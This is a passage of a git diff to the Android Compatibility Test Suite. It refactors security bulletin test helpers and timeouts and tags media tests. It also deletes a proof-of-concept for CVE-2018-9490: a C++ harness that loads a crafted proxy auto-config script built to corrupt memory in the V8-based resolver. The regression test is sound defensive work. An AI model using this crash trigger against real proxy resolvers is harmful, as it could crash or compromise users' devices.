-// limitations under the License.
-
-cc_test {
-    name: "CVE-2018-9490",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp"],
-    shared_libs: ["libpac"],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
deleted file mode 100644
index c6d332a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <memory>
-#include <proxy_resolver_v8_wrapper.h>
-
-#define URL u""
-#define HOST u""
-#define SCRIPT \
-    u"function FindProxyForURL(url, host){\n" \
-    "    alert(\"enter\");\n" \
-    "    let arr = [];\n" \
-    "    arr[1000] = 0x1234;\n" \
-    "\n" \
-    "    arr.__defineGetter__(256, function () {\n" \
-    "            delete arr[256];\n" \
-    "            arr.unshift(1.1);\n" \
-    "            arr.length = 0;\n" \
-    "            });\n" \
-    "\n" \
-    "    Object.entries(arr).toString();\n" \
-    "    alert(JSON.stringify(entries));\n" \
-    "\n" \
-    "    return 0;\n" \
-    "}\n"
-
-int main(void) {
-  auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
-          ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
-  ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
-  auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
-          resolver.get(), URL, HOST), &free);
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index e91e8f0..dd2a5e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -20,6 +20,7 @@
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.BufferedOutputStream;
@@ -27,6 +28,7 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.concurrent.TimeoutException;
 import java.util.List;
 import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
@@ -198,9 +200,17 @@
      * Utility function to help check the exit code of a shell command
      */
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
-      return Integer.parseInt(
-          AdbUtils.runCommandLine( "(" + cmd + ") > /dev/null 2>&1; echo $?",
-            device).replaceAll("[^0-9]", ""));
+        long time = System.currentTimeMillis();
+        String exitStatus = runCommandLine(
+                "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
+        time = System.currentTimeMillis() - time;
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -230,11 +240,18 @@
             throws Exception {
         device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
-                                   receiver, timeout, TimeUnit.SECONDS, 0);
-
-        String exitStatus = receiver.getOutput().replaceAll("[^0-9]", "");
-        return Integer.parseInt(exitStatus);
+        String cmd = "/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?";
+        long time = System.currentTimeMillis();
+        device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
+        time = System.currentTimeMillis() - time;
+        String exitStatus = receiver.getOutput().trim();
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -268,8 +285,7 @@
     public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
             String... processPatternStrings) throws Exception {
         AdbUtils.runCommandLine("logcat -c", device);
-        // account for the poc timer of 5 minutes (+15 seconds for safety)
-        AdbUtils.runPocNoOutput(pocName, device, 315);
+        AdbUtils.runPocNoOutput(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
         assertNoCrashes(device, processPatternStrings);
     }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index d866a5a..d8df1c6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -37,6 +37,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-05")
     public void testPocCVE_2015_1805() throws Exception {
-      AdbUtils.runPoc("CVE-2015-1805", getDevice(), 300);
+      AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 179b0cb..f61e843 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -27,7 +27,7 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
             // CTS begins the next test before device finishes rebooting,
             // sleep to allow time for device to reboot.
             Thread.sleep(70000);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 131b580..fed0ab5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
     @SecurityTest(minPatchLevel = "2017-12")
     public void testPocCVE_2017_6262() throws Exception {
         if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 0423b37..dfc3de0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -42,7 +42,7 @@
      */
     @SecurityTest
     public void testPocCVE_2018_9490() throws Exception {
-        int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+        int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
         assertTrue(code != 139); // 128 + signal 11
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
index 2007914..07257fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -34,11 +34,11 @@
     }
 
     /**
-     * b/138442295
+     * b/139806216
      */
     @SecurityTest(minPatchLevel = "2019-11")
-    public void testPocBug_138442295() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("bug_138442295", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
+    public void testPocBug_139806216() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
+        assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0939627..ee38deb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -33,6 +33,10 @@
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
 
+    protected static final int TIMEOUT_DEFAULT = 60;
+    // account for the poc timer of 5 minutes (+15 seconds for safety)
+    protected static final int TIMEOUT_NONDETERMINISTIC = 315;
+
     private long kernelStartTime;
 
     private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 3e1f801..40b434b 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 773afae..166e73c 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -17,28 +17,40 @@
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/parent"
-    android:orientation="horizontal"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content">
+    android:orientation="vertical"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent" >
 
-    <TextView android:id="@+id/static_text"
-        android:paddingEnd="16dp"
+    <LinearLayout
+        android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+        <TextView android:id="@+id/static_text"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"
+            android:text="YO:"/>
+
+        <TextView android:id="@+id/first"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+
+        <TextView android:id="@+id/second"
+            android:layout_weight="1"
+            android:layout_width="0dp"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
+
+    <LinearLayout
         android:layout_width="wrap_content"
-        android:layout_height="match_parent"
-        android:text="YO:"/>
+        android:layout_height="fill_parent">
 
-    <TextView android:id="@+id/first"
-        android:paddingEnd="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
+        <ImageView android:id="@+id/img"
+            android:paddingStart="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
 
-    <TextView android:id="@+id/second"
-        android:layout_weight="1"
-        android:layout_width="0dp"
-        android:layout_height="match_parent"/>
-
-    <ImageView android:id="@+id/img"
-        android:paddingStart="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 0dbfc73..64dee4d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2397,6 +2397,9 @@
                 assertTextAndValue(passwordNode, password);
 
                 waitUntilDisconnected();
+
+                // Wait and check if the save window is correctly hidden.
+                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
             } catch (RetryableException e) {
                 throw new RetryableException(e, "on step %d", i);
             } catch (Throwable t) {
diff --git a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
index 9272d58..e24339f 100644
--- a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
@@ -24,6 +24,7 @@
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 
+@NonMediaMainlineTest
 public class AsyncPlayerTest extends AndroidTestCase {
 
     public void testAsyncPlayer() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index 0666efe..186f322 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -22,6 +22,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioAttributesTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioFocusTest.java b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
index f156ada..58083d0 100644
--- a/tests/tests/media/src/android/media/cts/AudioFocusTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
@@ -28,6 +28,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioFocusTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioFocusTest";
 
@@ -353,4 +354,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index 221dcfa..4149d39 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -21,6 +21,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioFormatTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index cd09f08..e8669ed 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -60,8 +60,6 @@
 import android.util.Log;
 import android.view.SoundEffectConstants;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.CddTest;
 import com.android.internal.annotations.GuardedBy;
 
@@ -69,6 +67,7 @@
 import java.util.List;
 import java.util.Map;
 
+@NonMediaMainlineTest
 public class AudioManagerTest extends InstrumentationTestCase {
     private final static String TAG = "AudioManagerTest";
 
@@ -1365,13 +1364,6 @@
         }
     }
 
-    // See b/142395610 - This test isn't flaky but when run in test-mapping it
-    // fails on AOSP branches. There is some kind of state that CtsAppTestCases
-    // leaves the system in that causes this test to fail consistently.
-    // CtsMediaTestCases by itself in test-mapping passes.
-    // Disabling via Flaky to prevent this running and breaking
-    // greenness tracking for Droidcop until we can root-cause the dependency.
-    @FlakyTest
     public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
         final String NOTIFICATION_CHANNEL_ID = "test_id";
         if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
diff --git a/tests/tests/media/src/android/media/cts/AudioNativeTest.java b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
index 8e216e1..0f1ba92 100644
--- a/tests/tests/media/src/android/media/cts/AudioNativeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
@@ -28,6 +28,7 @@
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioNativeTest extends CtsAndroidTestCase {
     public static final int MAX_CHANNEL_COUNT = 2;
     public static final int MAX_INDEX_MASK = (1 << MAX_CHANNEL_COUNT) - 1;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index 4c234ce..c2c2a34 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -68,6 +68,7 @@
  * Currently the test that some audio was recorded just check that at least one sample is non 0.
  * A better check needs to be used, eg: compare the power spectrum.
  */
+@NonMediaMainlineTest
 public class AudioPlaybackCaptureTest {
     private static final String TAG = "AudioPlaybackCaptureTest";
     private static final int SAMPLE_RATE = 44100;
diff --git a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
index 2e900ad..de36d2b 100644
--- a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
@@ -28,6 +28,7 @@
 import java.util.Locale;
 import java.util.Map;
 
+@NonMediaMainlineTest
 public class AudioPresentationTest extends CtsAndroidTestCase {
     private String TAG = "AudioPresentationTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 6ead39e..5509682 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -46,6 +46,7 @@
 /**
  * Tests for media framework behaviors related to app ops.
  */
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioRecordAppOpTest {
     private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 90a5a3f..6ea560a 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -67,6 +67,7 @@
 import java.util.List;
 
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioRecordTest {
     private final static String TAG = "AudioRecordTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
index 665bfa1..600bf8c 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
@@ -28,6 +28,7 @@
 import java.util.ArrayList;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class AudioRecord_BufferSizeTest extends AndroidTestCase {
 
     private static final String TAG = AudioRecord_BufferSizeTest.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index f5eeaf1..801f29d 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -39,6 +39,7 @@
 import java.util.Iterator;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class AudioRecordingConfigurationTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioRecordingConfigurationTest";
 
@@ -221,6 +222,7 @@
         }
     }
 
+    @NonMediaMainlineTest
     public void testParcel() throws Exception {
         if (!hasMicrophone()) {
             return;
diff --git a/tests/tests/media/src/android/media/cts/AudioSystemTest.java b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
index 88ac120..d607d1f 100644
--- a/tests/tests/media/src/android/media/cts/AudioSystemTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
@@ -34,6 +34,7 @@
  * Java applications should use the client facing AudioManager APIs for Audio management.
  */
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 @AppModeFull(reason = "Instant applications do not have permission MODIFY_AUDIO_SETTINGS")
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
index 5b89ce0..f3ad83d 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
@@ -49,6 +49,7 @@
 // Warns if not. This can happen if there is no Fast Mixer or if a FastTrack
 // is not available.
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "The APIs would either work correctly or not at all for instant apps")
 public class AudioTrackLatencyTest extends CtsAndroidTestCase {
     private String TAG = "AudioTrackLatencyTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index aa0d50b..fe1b62b 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -31,6 +31,7 @@
 import java.io.InputStream;
 import java.util.concurrent.Executor;
 
+@NonMediaMainlineTest
 public class AudioTrackOffloadTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioTrackOffloadTest";
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index 9de3bd2..96dd840 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -42,6 +42,7 @@
 // a few seconds of audio. The playback is verified by measuring the output
 // sample rate based on the AudioTimestamps.
 
+@NonMediaMainlineTest
 public class AudioTrackSurroundTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioTrackSurroundTest";
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index fa20770..4ab16ff 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -52,6 +52,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioTrackTest {
     private String TAG = "AudioTrackTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
index 04666f4..89f42b0 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
@@ -31,6 +31,7 @@
 
 import java.util.ArrayList;
 
+@NonMediaMainlineTest
 public class AudioTrack_ListenerTest extends CtsAndroidTestCase {
     private final static String TAG = "AudioTrack_ListenerTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/BassBoostTest.java b/tests/tests/media/src/android/media/cts/BassBoostTest.java
index 2004cf8..5055a2a 100644
--- a/tests/tests/media/src/android/media/cts/BassBoostTest.java
+++ b/tests/tests/media/src/android/media/cts/BassBoostTest.java
@@ -24,6 +24,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 public class BassBoostTest extends PostProcTestBase {
 
     private String TAG = "BassBoostTest";
diff --git a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
index 6abf63d..d0cfde7 100644
--- a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
@@ -28,6 +28,7 @@
 import java.util.Arrays;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class CamcorderProfileTest extends AndroidTestCase {
 
     private static final String TAG = "CamcorderProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/CameraProfileTest.java b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
index 62228c6..9949c73 100644
--- a/tests/tests/media/src/android/media/cts/CameraProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
@@ -24,6 +24,7 @@
 
 import java.util.List;
 
+@NonMediaMainlineTest
 public class CameraProfileTest extends AndroidTestCase {
 
     private static final String TAG = "CameraProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
index 1d84a3e..5872bef 100644
--- a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
+++ b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
@@ -33,6 +33,7 @@
 /**
  * TODO: Insert description here. (generated by pmclean)
  */
+@NonMediaMainlineTest
 public class EnumDevicesTest extends AndroidTestCase {
     private static final String TAG = "EnumDevicesTest";
 
diff --git a/tests/tests/media/src/android/media/cts/EnvReverbTest.java b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
index 14cad71..10d9bb9 100644
--- a/tests/tests/media/src/android/media/cts/EnvReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
@@ -25,6 +25,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "Fails in instant mode")
 public class EnvReverbTest extends PostProcTestBase {
 
@@ -553,4 +554,4 @@
             mReverb2 = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index 7c405a5..38b5889 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -24,6 +24,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 public class EqualizerTest extends PostProcTestBase {
 
     private String TAG = "EqualizerTest";
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index d25c76a..467bc9d 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -41,6 +41,7 @@
 import java.io.OutputStream;
 import java.nio.charset.StandardCharsets;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "Instant apps cannot access the SD card")
 public class ExifInterfaceTest extends AndroidTestCase {
     private static final String TAG = ExifInterface.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
index 4df0475..94e4e37 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
@@ -25,6 +25,7 @@
 import android.media.FaceDetector.Face;
 import android.test.InstrumentationTestCase;
 
+@NonMediaMainlineTest
 public class FaceDetectorTest extends InstrumentationTestCase {
 
     private FaceDetectorStub mActivity;
diff --git a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
index 9dc06ec2..7b50040 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
@@ -27,6 +27,7 @@
 
 import java.util.List;
 
+@NonMediaMainlineTest
 public class FaceDetector_FaceTest extends InstrumentationTestCase {
     private FaceDetectorStub mActivity;
 
diff --git a/tests/tests/media/src/android/media/cts/JetPlayerTest.java b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
index 9d01073..112d5a5 100644
--- a/tests/tests/media/src/android/media/cts/JetPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
@@ -34,6 +34,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
+@NonMediaMainlineTest
 public class JetPlayerTest extends AndroidTestCase {
     private OnJetEventListener mOnJetEventListener;
     private boolean mOnJetUserIdUpdateCalled;
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index d57c612..300a593 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -48,6 +48,7 @@
 /**
  * Test media activity which has called {@link Activity#setMediaController}.
  */
+@NonMediaMainlineTest
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class MediaActivityTest {
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
index 091151c..e7ef364 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
@@ -32,6 +32,7 @@
 /**
  * Test {@link android.service.media.MediaBrowserService}.
  */
+@NonMediaMainlineTest
 public class MediaBrowserServiceTest extends InstrumentationTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index c401c75..8c7d63d 100644
